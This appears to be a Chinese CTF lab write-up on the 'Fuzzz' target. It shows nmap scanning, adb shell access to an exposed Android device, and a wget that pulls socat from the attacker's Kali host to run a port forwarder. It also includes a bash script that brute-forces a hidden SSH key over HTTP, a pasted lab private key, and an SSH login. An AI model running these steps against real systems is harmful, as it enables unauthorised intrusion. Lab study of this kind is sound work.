Fuzzz靶场学习笔记

前言

本文介绍了Kali Linux的基本使用技巧和nmap常见命令,重点演示了端口扫描、安卓设备反向代理和权限提升过程。通过nmap扫描发现安卓设备5555端口开放,使用adb工具连接后,将安卓80端口反向代理到Kali主机的过程。

正文

1、端口扫描

bash 复制代码
nmap -sV -v -T4 -A 192.168.31.198

发现5555端口开放,并且还是android设备。

尝试使用adb工具进入shell界面:

看下安卓开放的端口:

bash 复制代码
netstat -lntup


uname -m看下这个安卓是啥架构:

说明这个靶机是 64 位 x86 架构(PC / 模拟器环境)

2、安卓端口反向代理

我们得想办法把安卓的80端口,代理到我们自己的主机端口上。

(1)在 Kali 里执行以下命令,下载一个静态编译、无依赖的 socat:

bash 复制代码
cd ~/Desktop
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat
chmod +x socat

(2)启动 Kali 的 HTTP 服务:

bash 复制代码
python3 -m http.server 80

(3)在安卓里,想办法把这个文件传到/home/runner目录下:

bash 复制代码
adb shell
ls
cd tmp
wget 192.168.31.188/socat
cp socat /home/runner
cd /home/runner
chmod +x socat
/home/runner/socat -d -d TCP-LISTEN:9000,fork TCP4:127.0.0.1:80 &

可以通过命令:

bash 复制代码
netstat -tuln

看看安卓的9000端口启动了没

然后在kali里,下载一个工具tealdeer,更新的时候遇到了问题:

安装 proxychains:

bash 复制代码
apt update && apt install -y proxychains4

编辑配置文件:

bash 复制代码
nano /etc/proxychains4.conf

把最后一行改成你的代理(比如你的代理是 socks5://192.168.3.94:6454):

bash 复制代码
# 注释掉原来的 127.0.0.1:9050,改成下面这行
socks5  192.168.3.94 6454

同理,Kali里的浏览器也是同理设置:

用 proxychains 运行 tldr,完美解决。

bash 复制代码
proxychains4 tldr --update

可以通过以下命令验证一下:

bash 复制代码
curl -v https://github.com

如果 GitHub 也返回 HTML,说明代理对 GitHub 是通的。

最后,代理一下9000端口:

3、目录遍历获取RSA密钥

扫目录的时候,发现目录的文件名像RSA私钥(这谁能想到),所以要把扫到的目录,拼接成一个字符串,那就写脚本。

首先,生成标准的 base64.txt:

bash 复制代码
echo {A..Z} {a..z} {0..9} + / = | tr ' '  '\n' > base64.txt

然后新建一个c.sh放到kali里:

bash 复制代码
#!/bin/bash

for s in $(seq 1 5)
do
key=""
for k in $(seq 70)
do
        for i in $(cat base64.txt)
        do
            tmp="$key$i"
            a=$(curl -s "http://192.168.31.198:9000/line${s}/$tmp")
            [ -z "$a" ] && key="$tmp" && break
        done
done
echo "$key"
done

chmod +x 把c.sh这个文件权限提高,然后执行:

内容 含义 & 作用
ssh-keygen -y -f id2 这是核心命令,作用是从 SSH 私钥文件生成对应的公钥 : - ssh-keygen:SSH 密钥管理的核心工具 - -y:关键参数,"从私钥文件中提取公钥"(不会修改原私钥,只读生成) - -f id2:指定要读取的私钥文件是当前目录下的 id2(如果 id2 不在当前目录,需要写完整路径,比如 /root/Desktop/id2)

然后把id2的内容改一下格式:

bash 复制代码
cat > id2 << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u
XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J
5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ=
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 id2

4、用户提权

通过命令:

bash 复制代码
ssh-keygen -y -f id2

拿到用户名,通过命令:

bash 复制代码
ssh asahi@192.168.31.198 -i id2

成功拿到fuzz用户权限:

查看当前用户可执行的权限:

到这一步,不知道如何文件上传拿到root权限了。后面学明白了再填坑。

相关推荐
http阿拉丁神猫1 小时前
Go语言入门笔记:从基础到开发环境搭建(二)
开发语言·笔记·golang
HRBorderInsight4 小时前
马来西亚人均收入一个月多少钱,个人薪资和家庭收入要分开看
经验分享·笔记
又見山5 小时前
本地 Markdown 与数据主权:你的笔记到底属于谁
笔记·obsidian
撩得Android一次心动7 小时前
Jetpack Compose 知识点整理2【个人用】
android·笔记·学习·kotlin·compose
cao23337 小时前
关于 x1 y1 等变量名冲突的指正(校对版)
笔记
dadaobusi8 小时前
学习:灵犀指令集
学习
Demons_kirit8 小时前
CTFHub 信息泄露通关笔记:Git泄露 Log - 教程
笔记·git·网络安全
苏能润滑油油液文哥8 小时前
储能液冷安全边界解析:从热失控链条看冷却液的介入区间与选型指标
安全
xhyu619 小时前
【学习笔记】图像质量评估方法 (5.生成图像是否符合用户要求)
笔记·学习·计算机视觉
Lcr3s9 小时前
我的DVWA靶场实践_Low难度
安全